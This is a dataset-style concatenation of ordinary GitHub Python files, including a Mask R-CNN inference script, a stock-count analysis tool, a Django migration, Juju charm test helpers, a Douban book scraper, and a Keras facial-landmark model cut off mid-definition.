assert image_path\n\n # Run model detection and generate the color splash effect\n print(\"Running on {}\".format(args.image))\n # Read image\n image = skimage.io.imread(args.image)\n # Detect objects\n r = model.detect([image], verbose=1)[0]\n print(r['rois'])\n\n # for box in r['rois']:\n # color = (rng.randint(0,256), rng.randint(0,256), rng.randint(0,256))\n # # get coordinates\n # y1, x1, y2, x2 = box\n # # calculate width and height of the box\n # width, height = x2 - x1, y2 - y1\n # cv2.rectangle(image, (x1,y1), (x2,y2), color, 2)\n\n #with open('data.json', 'w') as outfile:\n # json.dump(r, outfile, cls=NumpyEncoder)\n # Color splash\n splash = color_splash(image, r['masks'])\n # Save output\n\n # file_name = \"splash2_{:%Y%m%dT%H%M%S}.png\".format(datetime.datetime.now())\n # skimage.io.imsave(file_name, image)\n\n file_name = \"splash_{:%Y%m%dT%H%M%S}.png\".format(datetime.datetime.now())\n skimage.io.imsave(file_name, splash)\n print(\"Saved to \", file_name)\n\nif __name__ == '__main__':\n import argparse\n\n # Parse command line arguments\n parser = argparse.ArgumentParser(\n description='Train Mask R-CNN to detect custom class.')\n parser.add_argument(\"command\",\n metavar=\"\",\n help=\"'train' or 'splash'\")\n parser.add_argument('--dataset', required=False,\n metavar=\"/path/to/custom/dataset/\",\n help='Directory of the custom dataset')\n parser.add_argument('--weights', required=True,\n metavar=\"/path/to/weights.h5\",\n help=\"Path to weights .h5 file or 'coco'\")\n parser.add_argument('--logs', required=False,\n default=DEFAULT_LOGS_DIR,\n metavar=\"/path/to/logs/\",\n help='Logs and checkpoints directory (default=logs/)')\n parser.add_argument('--image', required=False,\n metavar=\"path or URL to image\",\n help='Image to apply the color splash effect on')\n parser.add_argument('--video', required=False,\n metavar=\"path or URL to video\",\n help='Video to apply the color splash effect on')\n args = parser.parse_args()\n\n # Validate arguments\n if args.command == \"train\":\n assert args.dataset, \"Argument --dataset is required for training\"\n elif args.command == \"splash\":\n assert args.image or args.video,\\\n \"Provide --image or --video to apply color splash\"\n\n print(\"Weights: \", args.weights)\n print(\"Dataset: \", args.dataset)\n print(\"Logs: \", args.logs)\n\n # Configurations\n class InferenceConfig(CustomConfig):\n # Set batch size to 1 since we'll be running inference on\n # one image at a time. Batch size = GPU_COUNT * IMAGES_PER_GPU\n GPU_COUNT = 1\n IMAGES_PER_GPU = 1\n config = InferenceConfig()\n config.display()\n\n # Create model\n model = modellib.MaskRCNN(mode=\"inference\", config=config,\n model_dir=args.logs)\n\n # weights file to load\n weights_path = args.weights\n\n # Load weights\n print(\"Loading weights \", weights_path)\n if args.weights.lower() == \"coco\":\n # Exclude the last layers because they require a matching\n # number of classes\n model.load_weights(weights_path, by_name=True, exclude=[\n \"mrcnn_class_logits\", \"mrcnn_bbox_fc\",\n \"mrcnn_bbox\", \"mrcnn_mask\"])\n else:\n model.load_weights(weights_path, by_name=True)\n\n # evaluate\n detect_and_color_splash(model, image_path=args.image)\n","repo_name":"rvnd96/SRMMS-FinalYearProject-pothole-analyzer","sub_path":"custom.py","file_name":"custom.py","file_ext":"py","file_size_in_byte":5239,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"37986348913","text":"import argparse\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\n\r\npd.options.display.float_format = '{:.2f}'.format\r\n\r\nVAR_THRESH = 50\r\nCOGS_THRESH = 200\r\n\r\nparser = argparse.ArgumentParser(\r\n prog=\"StockCountChecker\",\r\n description=\"Checks stock result from EPOS automatically, finding anomalies and calculating ordering percent\"\r\n)\r\n\r\nparser.add_argument(\"file\", help=\".xls file from stocklink\")\r\nparser.add_argument('-s', \"--sales\", type=float, help=\"input sales to calculate Usage per 1000\")\r\nparser.add_argument('-g', \"--graph\", action=\"store_true\", help=\"shows a graph of cogs percent\")\r\nparser.add_argument('-a', \"--analyze\", action=\"store_true\", help=\"print analysis of outliers\")\r\nparser.add_argument('-d', \"--drop100\", action=\"store_true\", help=\"don't show rows where var is 100 in analysis\")\r\nparser.add_argument('-o', \"--output\", help=\"save to .csv file\")\r\nargs = parser.parse_args()\r\n\r\n\r\nclass StockData:\r\n def __init__(self, dataframe):\r\n raw_data = dataframe.dropna(axis=0, thresh=10)\r\n\r\n colnames = []\r\n for col in raw_data.columns:\r\n colnames.append(col[0] + ' ' + col[1])\r\n raw_data.columns = colnames\r\n\r\n current_group = ''\r\n for ind in raw_data.index:\r\n if raw_data[\"Code No.\"][ind] != raw_data[\"Stock Description\"][ind]:\r\n raw_data.at[ind, \"Group\"] = current_group\r\n else:\r\n current_group = raw_data.at[ind, \"Stock Description\"]\r\n raw_data = raw_data.drop(axis=0, index=ind)\r\n\r\n datatypes = {\r\n \"Code No.\": \"string\",\r\n \"Stock Description\": \"string\",\r\n \"Case Size\": \"string\",\r\n \"Latest Cost\": \"float\",\r\n \"Open Qty\": \"float\",\r\n \"Goods In|Out\": \"float\",\r\n \"Transfers In|Out\": \"float\",\r\n \"Waste Qty\": \"float\",\r\n \"Close Qty\": \"float\",\r\n \"Actual Usage Qty\": \"float\",\r\n \"Sales Qty\": \"float\",\r\n \"Var Qty\": \"float\",\r\n \"Var Cost\": \"float\",\r\n \"Var LW Qty\": \"float\",\r\n \"Theo COS Excl Waste\": \"float\",\r\n \"Actual COS Incl Waste\": \"float\",\r\n \"Var Qty Incl Waste\": \"float\",\r\n \"Var Cost Inc Waste\": \"float\",\r\n \"Audit £\": \"float\",\r\n \"Group\": \"string\"\r\n }\r\n\r\n self.data = raw_data.astype(datatypes)\r\n self.data[\"Var Percent\"] = self.data[\"Var Qty\"] / self.data[\"Sales Qty\"] * 100\r\n self.data[\"CoGs Percent\"] = (self.data[\"Goods In|Out\"] - self.data[\"Actual Usage Qty\"]) / \\\r\n self.data[\"Actual Usage Qty\"] * 100\r\n\r\n def analyze(self, drop100values=False):\r\n analysis_text = '\\n'\r\n # missing/too much\r\n if drop100values:\r\n var_outliers = self.data.loc[((self.data[\"Var Percent\"] <= -VAR_THRESH) &\r\n (self.data[\"Var Percent\"] != -100) &\r\n (self.data[\"Group\"] != \"Actual = Theo Usage\")) |\r\n ((self.data[\"Var Percent\"] >= VAR_THRESH) &\r\n (self.data[\"Var Percent\"] != 100) &\r\n (self.data[\"Group\"] != \"Actual = Theo Usage\"))]\r\n else:\r\n var_outliers = self.data.loc[((self.data[\"Var Percent\"] <= -VAR_THRESH) &\r\n (self.data[\"Group\"] != \"Actual = Theo Usage\")) |\r\n ((self.data[\"Var Percent\"] >= VAR_THRESH) &\r\n (self.data[\"Group\"] != \"Actual = Theo Usage\"))]\r\n if len(var_outliers) >= 1:\r\n analysis_text = analysis_text + \"These numbers look off. consider recounting\\n\\n\"\r\n\r\n analysis_text = analysis_text + var_outliers[[\"Stock Description\",\r\n \"Case Size\",\r\n \"Close Qty\",\r\n \"Actual Usage Qty\",\r\n \"Sales Qty\",\r\n \"Var Cost\",\r\n \"Var Qty\",\r\n \"Var Percent\"]\r\n ].to_string(index=False) + '\\n'\r\n\r\n analysis_text = analysis_text + \"\\n\\n\\n\"\r\n\r\n # CoGs %\r\n if drop100values:\r\n cogs_outliers = self.data.loc[((self.data[\"CoGs Percent\"] >= COGS_THRESH) &\r\n (self.data[\"CoGs Percent\"] != 100)) |\r\n ((self.data[\"CoGs Percent\"] <= -COGS_THRESH) &\r\n (self.data[\"CoGs Percent\"] != -100))\r\n ]\r\n else:\r\n cogs_outliers = self.data.loc[(self.data[\"CoGs Percent\"] >= COGS_THRESH) |\r\n (self.data[\"CoGs Percent\"] <= -COGS_THRESH)\r\n ]\r\n if len(cogs_outliers) >= 1:\r\n analysis_text = analysis_text + \"These items appear to be ordered wrong. consider ordering less next \" \\\r\n \"week\\n\\n \"\r\n\r\n analysis_text = analysis_text + cogs_outliers[[\"Stock Description\",\r\n \"CoGs Percent\"]\r\n ].to_string(index=False) + '\\n'\r\n\r\n analysis_text = analysis_text + \"\\n\\n\\n\"\r\n\r\n # Negative Actual Usage\r\n negative_actual = self.data.loc[self.data[\"Actual Usage Qty\"] < 0]\r\n if len(negative_actual) >= 1:\r\n analysis_text = analysis_text + \"The actual usage for these items is negative. Consider recounting\\n\\n\"\r\n\r\n analysis_text = analysis_text + negative_actual[[\"Stock Description\",\r\n \"Case Size\",\r\n \"Actual Usage Qty\"]\r\n ].to_string(index=False) + '\\n'\r\n\r\n return analysis_text\r\n\r\n def save_to_csv(self, path):\r\n self.data[\"Var Percent\"] = self.data[\"Var Qty\"] / self.data[\"Sales Qty\"] * 100\r\n self.data[\"CoGs Percent\"] = (self.data[\"Goods In|Out\"] - self.data[\"Actual Usage Qty\"]) / \\\r\n self.data[\"Actual Usage Qty\"] * 100\r\n try:\r\n self.data.to_csv(path)\r\n except Exception as ex:\r\n print(ex)\r\n return False\r\n else:\r\n return True\r\n\r\n def UPT(self, sales):\r\n self.data[\"UPT\"] = (self.data[\"Actual Usage Qty\"] / (sales / 1000))\r\n\r\n def make_graph(self):\r\n fig, ax = plt.subplots(figsize=(15, 5))\r\n ax.bar(self.data[\"Stock Description\"], self.data[\"CoGs Percent\"])\r\n ax.set_xticklabels(SD.data[\"Stock Description\"], rotation=90)\r\n plt.show()\r\n\r\n\r\ntry:\r\n SD = StockData(pd.read_html(args.file)[0])\r\n if args.analyze:\r\n print(SD.analyze())\r\n if args.sales:\r\n SD.UPT(args.sales)\r\n if args.output:\r\n SD.save_to_csv(args.output)\r\n if args.graph:\r\n SD.make_graph()\r\nexcept Exception as ex:\r\n print(ex)\r\n","repo_name":"Nobey47/Stockcountchecker","sub_path":"__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":7323,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"31562190407","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.conf import settings\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n (\"orgs\", \"0016_taskstate_is_disabled\"),\n migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n (\"cases\", \"0032_populate_message_case\"),\n ]\n\n operations = [\n migrations.CreateModel(\n name=\"CaseExport\",\n fields=[\n (\"id\", models.AutoField(verbose_name=\"ID\", serialize=False, auto_created=True, primary_key=True)),\n (\"search\", models.TextField()),\n (\"filename\", models.CharField(max_length=512)),\n (\"created_on\", models.DateTimeField(auto_now_add=True)),\n (\n \"created_by\",\n models.ForeignKey(\n related_name=\"caseexports\", to=settings.AUTH_USER_MODEL, on_delete=models.PROTECT\n ),\n ),\n (\n \"org\",\n models.ForeignKey(\n related_name=\"caseexports\",\n verbose_name=\"Organization\",\n to=\"orgs.Org\",\n on_delete=models.PROTECT,\n ),\n ),\n ],\n options={\"abstract\": False},\n )\n ]\n","repo_name":"rapidpro/casepro","sub_path":"casepro/cases/migrations/0033_caseexport.py","file_name":"0033_caseexport.py","file_ext":"py","file_size_in_byte":1407,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"35"} +{"seq_id":"10472138485","text":"\n# Автор Тютин Руслан\n#\n# Вывод данных на сайте\n#\n# Добавьте на сайт страницу /names, на которой в табличном виде выведите данные о именах новорожденных,\n# получаемые при помощи функции из предыдущей задачи.\n# Пример простейшего оформления таблицы - на следущейм слайде.\n\n\nfrom task1 import kinder_api\nfrom flask import Flask, render_template\n\napp = Flask(__name__)\n\n\n@app.route(\"/names\")\ndef names():\n list_data = list()\n for j in kinder_api():\n json_data = dict()\n json_data['name'] = j['Cells']['Name']\n json_data['year'] = j['Cells']['Year']\n json_data['month'] = j['Cells']['Month']\n json_data['count'] = j['Cells']['NumberOfPersons']\n list_data.append(kinder_api())\n return render_template('table.html', datas=list_data, len_data=len(list_data))\n\n\nif __name__ == \"__main__\":\n app.run()\n","repo_name":"motionrus/HomeWork","sub_path":"homework3/task2.py","file_name":"task2.py","file_ext":"py","file_size_in_byte":1054,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"29757377951","text":"import os, glob, argparse, random\nfrom pprint import pprint\n\nimport torch as ch\nfrom pytorch_lightning import Trainer, seed_everything, Callback\nfrom pytorch_lightning.callbacks import LearningRateMonitor, ModelCheckpoint\nfrom pytorch_lightning.loggers import TensorBoardLogger \nfrom model_lightning import Model_Lightning as MODEL\n\nfrom datamodules import DATAMODULES\nfrom datamodules.neural_datamodule import SOURCES\nfrom braintree.benchmarks import list_brainscore_benchmarks, list_behavior_benchmarks\n\ndefault_save_path = \"dev\" \n\ndef main(hparams):\n deterministic = seed(hparams) \n logger = set_logger(hparams)\n\n dm = { \n module_name : DATAMODULES[module_name](hparams)\n for module_name in hparams.datamodule\n }\n\n model = MODEL(hparams, dm)\n\n lr_monitor = LearningRateMonitor(logging_interval='step')\n\n ckpt_callback = ModelCheckpoint(\n verbose = hparams.verbose,\n #monitor='val_loss',\n save_last=True,\n #save_top_k = hparams.save_top_k\n )\n\n trainer = Trainer(\n default_root_dir=hparams.log_save_path,\n devices=hparams.gpus, \n accelerator='gpu',\n max_epochs=hparams.epochs, \n check_val_every_n_epoch=hparams.val_every,\n limit_val_batches=hparams.val_batches,\n checkpoint_callback=ckpt_callback,\n num_nodes=hparams.num_nodes,\n logger=logger, callbacks=[lr_monitor], # PrintingCallback()],\n deterministic=deterministic,\n multiple_trainloader_mode='min_size',\n profiler=\"simple\",\n log_gpu_memory=True,\n precision=16\n ) \n \n if hparams.evaluate:\n trainer.test(model, test_dataloaders=[dm[key].val_dataloader() for key in dm])\n else:\n trainer.validate(model)\n trainer.fit(model)\n\ndef seed(hparams):\n deterministic = False\n if hparams.seed is not None:\n seed_everything(hparams.seed)\n deterministic = True \n\n return deterministic\n\ndef set_logger(hparams):\n logger = TensorBoardLogger(\n hparams.log_save_path, name=hparams.file_name, \n version=hparams.v_num\n ) \n hparams.v_num = logger.version\n\n return logger\n\nclass PrintingCallback(Callback):\n def on_epoch_start(self, trainer, pl_module):\n print('Scheduler epoch %d' % trainer.lr_schedulers[0]['scheduler'].last_epoch)\n print('Trainer epoch %d' % trainer.current_epoch)\n print('-'*80) \n\n#################\n\ndef get_args(*args):\n parent_parser = argparse.ArgumentParser(add_help=False)\n parent_parser.add_argument('--seed', type=int, default=42,\n help='seed for initializing training. ')\n parent_parser.add_argument('--save_path', metavar='DIR', type=str, default=default_save_path, \n help='path to save output')\n parent_parser.add_argument('--num_workers', type=int, default=4,\n help='how many workers')\n parent_parser.add_argument('--num_nodes', type=int, default=1,\n help='how many nodes')\n parent_parser.add_argument('--gpus', type=int, default=1,\n help='how many gpus')\n parent_parser.add_argument('--distributed-backend', type=str, default='dp', choices=('dp', 'ddp', 'ddp2'),\n help='supports three options dp, ddp, ddp2')\n parent_parser.add_argument('--save_top_k', dest='save_top_k', type=int, default=1,\n help='how many model checkpoints to save. -1 for all')\n parent_parser.add_argument('--val_batches', dest='val_batches', type=float, default=0.1,\n help='how many batches (10) / what percent (0.25) of the validation set to run.')\n parent_parser.add_argument('--val_every', dest='val_every', type=int, default=20,\n help='how frequently to run the validation set.')\n parent_parser.add_argument('-v', '--verbose', dest='verbose', action='store_true',\n help='prints more details of dataloading / etc')\n parent_parser.add_argument('-e', '--evaluate', dest='evaluate', action='store_true',\n help='evaluate model on validation set')\n parent_parser.add_argument('-ati', '--adv_train_images', dest='adv_train_images', action='store_true',\n help='adversarially evaluate model on validation set')\n parent_parser.add_argument('-aei', '--adv_eval_images', dest='adv_eval_images', action='store_true',\n help='adversarially evaluate model on validation set')\n parent_parser.add_argument('-aen', '--adv_eval_neural', dest='adv_eval_neural', action='store_true',\n help='adversarially evaluate model on CenteredKernelAlignment')\n parent_parser.add_argument('-teps', '--train_epsilon', dest='train_eps', type=float, default=1/1020,\n help='maximum L_inf perturbation strength (for training)')\n parent_parser.add_argument('-eps', '--epsilon', dest='eps', type=float, default=1/1020,\n help='maximum L_inf perturbation strength (for evaluating)')\n\n # data specific arguments. maybe move to DATAMODULES like MODELS?\n parent_parser.add_argument('-d', '--datamodule', dest='datamodule', nargs='+', \n #default=['ImageNet', 'NeuralData', 'StimuliClassification'], choices=DATAMODULES.keys(), \n default=['ImageNet', 'NeuralData'], choices=DATAMODULES.keys(), \n help='which datamodule to use.')\n parent_parser.add_argument('-nd', '--neuraldataset', dest='neuraldataset', default='manymonkeys',\n choices=SOURCES.keys(), help='which source neural dataset to construct from')\n parent_parser.add_argument('--benchmarks', dest='benchmarks', nargs='*', default=['fneurons.ustimuli', 'magneto.var6', 'nano.var6', 'nano.left.var6', 'nano.coco', 'bento.coco'],\n choices=['None', 'All'] + MODEL.BENCHMARKS,\n help='which metrics to collect at the end of the epoch')\n parent_parser.add_argument('-BS', '--BS_benchmarks', dest='BS_benchmarks', nargs='*', default=['None'],\n choices=['None'] + list_brainscore_benchmarks(),\n help='which metrics to collect at the end of the epoch')\n parent_parser.add_argument('-BH', '--behanvior_benchmarks', dest='behavior_benchmarks', nargs='*', \n default=['None'],\n choices=['None'] + list_behavior_benchmarks(),\n help='which behavior metrics to collect at the end of the epoch')\n parent_parser.add_argument('--fit_animals', dest='fit_animals', nargs='*', default=['All'],\n help='which animals to fit from the dataset, should be of form \"nano.right\"')\n parent_parser.add_argument('--test_animals', dest='test_animals', nargs='*', default=['All'],\n help='which animals to test on from the dataset, of form \"nano.right\"')\n parent_parser.add_argument('-n', '--neurons', dest='neurons', default='All',\n help='how many of the train neurons to fit to')\n parent_parser.add_argument('-s', '--stimuli', dest='stimuli', default='All',\n help='how many of the train stimuli to fit to')\n parent_parser.add_argument('-t', '--trials', dest='trials', default='All',\n help='how many trials of stimuli presentation to average over')\n parent_parser.add_argument('-ntt', '--neural-train-transform', dest='neural_train_transform', type=int, default=1,\n help='if 1, train with input aug on neural data; if 0, no input aug')\n parent_parser.add_argument('--translate', dest='translate', type=str, default='(0.0625, 0.0625)',\n help='data augmentation vertical or horizontal translation by up to .5 degrees')\n parent_parser.add_argument('--rotate', dest='rotate', type=str, default='(-0.5, 0.5)',\n help='data augmentation rotation by up to .5 degrees')\n parent_parser.add_argument('--scale', dest='scale', type=str, default='(0.9, 1.1)',\n help='data augmentation size jitter by up to a little more than .5 degrees')\n parent_parser.add_argument('--shear', dest='shear', type=str, default='(0.9375, 1.0625, 0.9375, 1.0625)',\n help='data augmentation shear jitter by up to .5 degrees')\n parent_parser.add_argument('--window', default='7t17',\n help='time window to average neural data over. 7t17 => 70ms through 170ms')\n # control conditions\n parent_parser.add_argument('--controls', dest='controls', nargs='*', default=['None'],\n choices=['None', 'shuffle', 'random', 'rank', 'spectrum'],\n help='control conditions on neural representations. Only applied on trainset. See neural dataloader.')\n parent_parser.add_argument('--rank', dest='rank', type=int, default=10,\n help='rank of representation approximation. Only applied if rank option used in controls')\n parent_parser.add_argument('--exponent', dest='exponent', type=float, default=-1.0,\n help='rank of representation approximation. Only applied if rank option used in controls')\n # test \n parent_parser.add_argument('-test', '--test', dest='test', type=int, default=0,\n help='if 1, reduces the number of validations / etc to speed up testing cycle.')\n\n\n parser = MODEL.add_model_specific_args(parent_parser)\n args, unknown = parser.parse_known_args(*args) \n args = add_path_names(args)\n if args.verbose: pprint(args)\n return args \n\ndef add_path_names(hparams):\n hparams.file_name = get_filename(hparams)\n hparams.log_save_path = os.path.join('./logs', hparams.save_path)\n hparams.statedict_path = os.path.join(\n hparams.save_path, 'trained_models', hparams.file_name + '.pt'\n ) \n return hparams\n\ndef get_filename(hparams):\n filename = f'model_{hparams.arch}'\\\n + f'-loss_{hparams.neural_loss}'\\\n + f'-ds_{hparams.neuraldataset}'\\\n + f'-fanimals_{\"+\".join(hparams.fit_animals)}'\\\n + f'-neurons_{hparams.neurons}'\\\n + f'-stimuli_{hparams.stimuli}'\\\n + f'-seed_{hparams.seed}'\n\n return filename\n\n################\n\nif __name__ == '__main__':\n main(get_args())\n","repo_name":"dapello/braintree","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":10731,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"35"} +{"seq_id":"11236692982","text":"from functools import wraps\nimport json\nimport os\nimport subprocess\nimport time\n\n\nclass ProcessError(subprocess.CalledProcessError):\n \"\"\"Error running a shell command.\"\"\"\n\n def __init__(self, retcode, cmd, output, error):\n super(ProcessError, self).__init__(retcode, cmd, output)\n self.error = error\n\n def __str__(self):\n msg = super(ProcessError, self).__str__()\n return '{}. Output: {!r}. Error: {!r}.'.format(\n msg, self.output, self.error)\n\n\ndef command(*base_args):\n \"\"\"Return a callable that will run the given command with any arguments.\n\n The first argument is the path to the command to run, subsequent arguments\n are command-line arguments to \"bake into\" the returned callable.\n\n The callable runs the given executable and also takes arguments that will\n be appended to the \"baked in\" arguments.\n\n For example, this code will list a file named \"foo\" (if it exists):\n\n ls_foo = command('/bin/ls', 'foo')\n ls_foo()\n\n While this invocation will list \"foo\" and \"bar\" (assuming they exist):\n\n ls_foo('bar')\n \"\"\"\n PIPE = subprocess.PIPE\n\n def runner(*args, **kwargs):\n cmd = base_args + args\n process = subprocess.Popen(cmd, stdout=PIPE, stderr=PIPE, **kwargs)\n output, error = process.communicate()\n retcode = process.poll()\n if retcode:\n raise ProcessError(retcode, cmd, output, error)\n return output\n\n return runner\n\n\n# Define the juju command.\njuju_command = command('juju')\n\n\ndef retry(exception, tries=10, delay=1):\n \"\"\"If the decorated function raises the exception, wait and try it again.\n\n Raise the exception raised by the first call if the function does not\n exit normally after the specified number of tries.\n\n Original from http://wiki.python.org/moin/PythonDecoratorLibrary#Retry.\n \"\"\"\n def decorator(func):\n @wraps(func)\n def decorated(*args, **kwargs):\n tries_remaining = tries\n original_error = None\n while tries_remaining:\n try:\n return func(*args, **kwargs)\n except Exception as error:\n if original_error is None:\n original_error = error\n time.sleep(delay)\n tries_remaining -= 1\n raise original_error\n return decorated\n return decorator\n\n\n@retry(ProcessError)\ndef juju(command, *args):\n \"\"\"Call the juju command, passing the model parameters if required.\n\n The model value can be provided in args, or can be found in the\n context as JUJU_MODEL.\n \"\"\"\n arguments = [command]\n if ('-m' not in args) and ('--model' not in args):\n model = os.getenv('JUJU_MODEL')\n if model is not None:\n arguments.extend(['-m', model])\n arguments.extend(args)\n return juju_command(*arguments)\n\n\ndef juju_status():\n \"\"\"Return the Juju status as a dictionary.\n\n The model in which to operate can be provided in the JUJU_MODEL environment\n variable. If not provided, the currently active model is used.\n \"\"\"\n status = juju('status', '--format', 'json')\n return json.loads(status)\n\n\ndef wait_for_unit(app_name):\n \"\"\"Wait for the first unit of the given app_name to be started.\n\n The model in which to operate can be provided in the JUJU_MODEL environment\n variable. If not provided, the currently active model is used.\n\n Also wait for the service to be exposed.\n Raise a RuntimeError if the unit is found in an error state.\n Return info about the first unit as a dict containing at least the\n following keys: agent-state, machine, and public-address.\n \"\"\"\n while True:\n status = juju_status()\n service = status.get('applications', {}).get(app_name)\n if service is None or not service.get('exposed'):\n continue\n units = service.get('units', {})\n if not len(units):\n continue\n unit = units.values()[0]\n state = unit.get('agent-state')\n if state is None:\n # Status information for Juju 2.0.\n state = unit['juju-status']['current']\n if state == 'idle':\n return unit\n else:\n if state == 'started':\n return unit\n if 'error' in state:\n raise RuntimeError(\n 'the service unit is in an error state: {}'.format(state))\n\n\ndef get_password():\n \"\"\"Return the password to be used to connect to the Juju API.\n\n The model in which to operate can be provided in the JUJU_MODEL environment\n variable. If not provided, the currently active model is used.\n \"\"\"\n output = juju('show-controller', '--show-password', '--format', 'json')\n data = json.loads(output)\n account = data.values()[0]['account']\n return account.get('password', 'not available')\n","repo_name":"juju/juju-gui-charm","sub_path":"tests/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":4906,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"} +{"seq_id":"1537879151","text":"import sys\ninput = sys.stdin.readline\n\n# 1부터 n까지 m���의 조합을 구하는 문제\n# 같은 수의 중복을 허용하는 조합\ndef solution():\n n, m = map(int, input().split())\n\n def dfs(path, start):\n if len(path) == m:\n print(' '.join(map(str, path)))\n return\n\n for number in range(start, n+1):\n dfs(path + [number], number)\n\n dfs([], 1)\n\nsolution()","repo_name":"WooWan/Algorithm_study","sub_path":"graph/DFS/backtracking/basic/BOJ_N과 M(4).py","file_name":"BOJ_N과 M(4).py","file_ext":"py","file_size_in_byte":418,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"38241290938","text":"# -*- coding: utf-8 -*-\n# @Time : 2018/10/22 14:57\n# @Author : 银河以北\n# @Email : smilegks@163.com\n# @Introduction :\n'''\npython + lxml 爬虫,以豆瓣图书为例,爬取豆瓣图书的信息。\nPython 3.6.5\n安装 lxml 库,安装有点复杂(可能出错)。我使用的Anaconda3,自带lxml 4.3.1,不需要自己安装,推荐使用。\n'''\n\nimport requests\nfrom lxml import etree\n\n# 要爬取的URL\nurl = \"https://book.douban.com/tag/%E5%8E%86%E5%8F%B2\"\n\n# 1、下载网页\n# 使用requests下载网页,然后用lxml解析。\nr = requests.get(url)\n# 注意使用r.content,使用r.text会报错。r.text返回的是Unicode型数据,r.content返回的是bytes型数据。\nresponse = r.content\n\n\n# 2、解析网页\n'''\netree.fromstring() # 用于解析字符串\netree.HTML() # 用于解析HTML对象\netree.XML() # 用于解析XML对象\netree.parse() # 用于解析文件类型的对象\u000B,parse{帕斯]=解析\n'''\nhtmlElement = etree.HTML(response) # 返回值为对象\n# 构建 DOM 树。 使用tostring decode,格式化html代码。\nhtml = etree.tostring(htmlElement, encoding='utf-8').decode('utf-8') # 返回值为str\n\n\n# 3、定位\n# 图书信息列表\nbookinfo_list = htmlElement.xpath('//*[@id=\"subject_list\"]/ul/li') # 返回值是list,list中元素是一个个对象\n\n'''\nstr.strip() 去掉行首行尾的空白字符,包括空格、\\t、\\r、\\n\nstr.lstrip() 去掉行首(str左侧)的空白字符,包括空格、\\t、\\r、\\n\nstr.rstrip() 去掉行首(str右侧)的空白字符,包括空格、\\t、\\r、\\n\n'''\n\nfor book in bookinfo_list:\n # 图书名称\n # 图书名称包括主标题和副标题,同时显示主标题和副标题需要处理一下。\n #book_name = book.xpath('.//div[2]/h2/a/text()')[0].strip()\n book_a = book.xpath('.//div[2]/h2/a')\n children = book_a[0].getchildren()\n if len(children):\n # 如果 a 标签的子节点存在,图书名称就加上子节点中的副标题\n book_name = book_a[0].text.strip() + children[0].text.strip()\n else:\n book_name = book_a[0].text.strip()\n\n # 图书详情URL\n bookinfo_url = book.xpath('.//div[2]/h2/a/@href')[0]\n # 基本信息\n book_baseinfo = book.xpath('.//div[2]/div[1]/text()')[0].strip()\n # 评分\n rating = book.xpath('.//div[2]/div[2]/span[2]/text()')[0]\n # 评论人数\n rate_nums = book.xpath('.//div[2]/div[2]/span[3]/text()')[0].strip().replace('人评价','').replace('(','').replace(')','')\n # 封面URL\n fengmian_url = book.xpath('.//div[1]/a/img/@src')[0]\n # 图书简介\n #book_instr = book.xpath('.//div[2]/p/text()')[0]\n\n # 打印爬取的信息\n print(\"{},{},{},{},{},{}\".format(book_name, bookinfo_url, book_baseinfo, rating, rate_nums, fengmian_url))\n\n # 将数据写入csv\n with open(\"data\\douban_book.csv\", \"a\", encoding='utf-8') as f:\n f.write(\"{},{},{},{},{},{}\\n\".format(book_name, bookinfo_url, book_baseinfo, rating, rate_nums, fengmian_url))","repo_name":"zuiwoshachangjunmoxiao/pythonStudy_spider","sub_path":"python_lxml/lxml_xpath.py","file_name":"lxml_xpath.py","file_ext":"py","file_size_in_byte":3006,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"3012109349","text":"#!/usr/bin/env python\n\n\"\"\"bon-appetit.py: Solution of the Question found at Algorithms>Implementation>Bon Appétit\"\"\"\n\n__author__ = \"Risabh Kumar\"\n\nN,K=map(int,input().split())\narr=[int(i) for i in input().split()]\nbc=int(input())\ntmp,ba=0,0\nfor i in range(N):\n if i==K:\n continue\n tmp+=arr[i]\nba=(int(tmp/2))\nif ba==bc:\n print(\"Bon Appetit\")\nelse:\n print(bc-ba)","repo_name":"rahulpsd18/HackerRank-Solutions","sub_path":"Algorithms/Implementation/bon-appetit.py","file_name":"bon-appetit.py","file_ext":"py","file_size_in_byte":386,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"} +{"seq_id":"8634419290","text":"from __future__ import print_function\nfrom __future__ import division\nfrom __future__ import absolute_import\n\nimport warnings\nfrom keras.models import Model, load_model\nfrom keras.layers import Input, Dense, Flatten, Activation, Lambda, Add, concatenate, Reshape\nfrom keras.layers import Conv2D, MaxPooling2D, ZeroPadding2D, BatchNormalization, Dropout, GlobalAveragePooling2D, GlobalMaxPooling2D\nfrom keras import initializers, regularizers, constraints\nfrom keras.utils import conv_utils, layer_utils\nfrom keras.engine.topology import Layer\nfrom keras.optimizers import Adam\nfrom keras.callbacks import TensorBoard, EarlyStopping, ModelCheckpoint\nfrom keras.utils.data_utils import get_file\nfrom keras.engine.topology import get_source_inputs\nfrom keras.engine import InputSpec\nfrom keras.applications import imagenet_utils\nfrom keras.applications.imagenet_utils import decode_predictions, _obtain_input_shape\nfrom keras import backend as K\nfrom keras.callbacks import TensorBoard, EarlyStopping, ModelCheckpoint\nimport keras\n\nimport numpy as np\nfrom sklearn.cross_validation import train_test_split\n\n# Own module\nimport sys\nsys.path.append(\"../utils/\")\nimport smoothL1, relu6\nfrom layers import DepthwiseConv2D\n\nINPUT_SHAPE = (64, 64, 1)\nOUTPUT_SIZE = 136\nN_LANDMARK = 68\n\ndef facial_landmark_cnn(input_shape=INPUT_SHAPE, 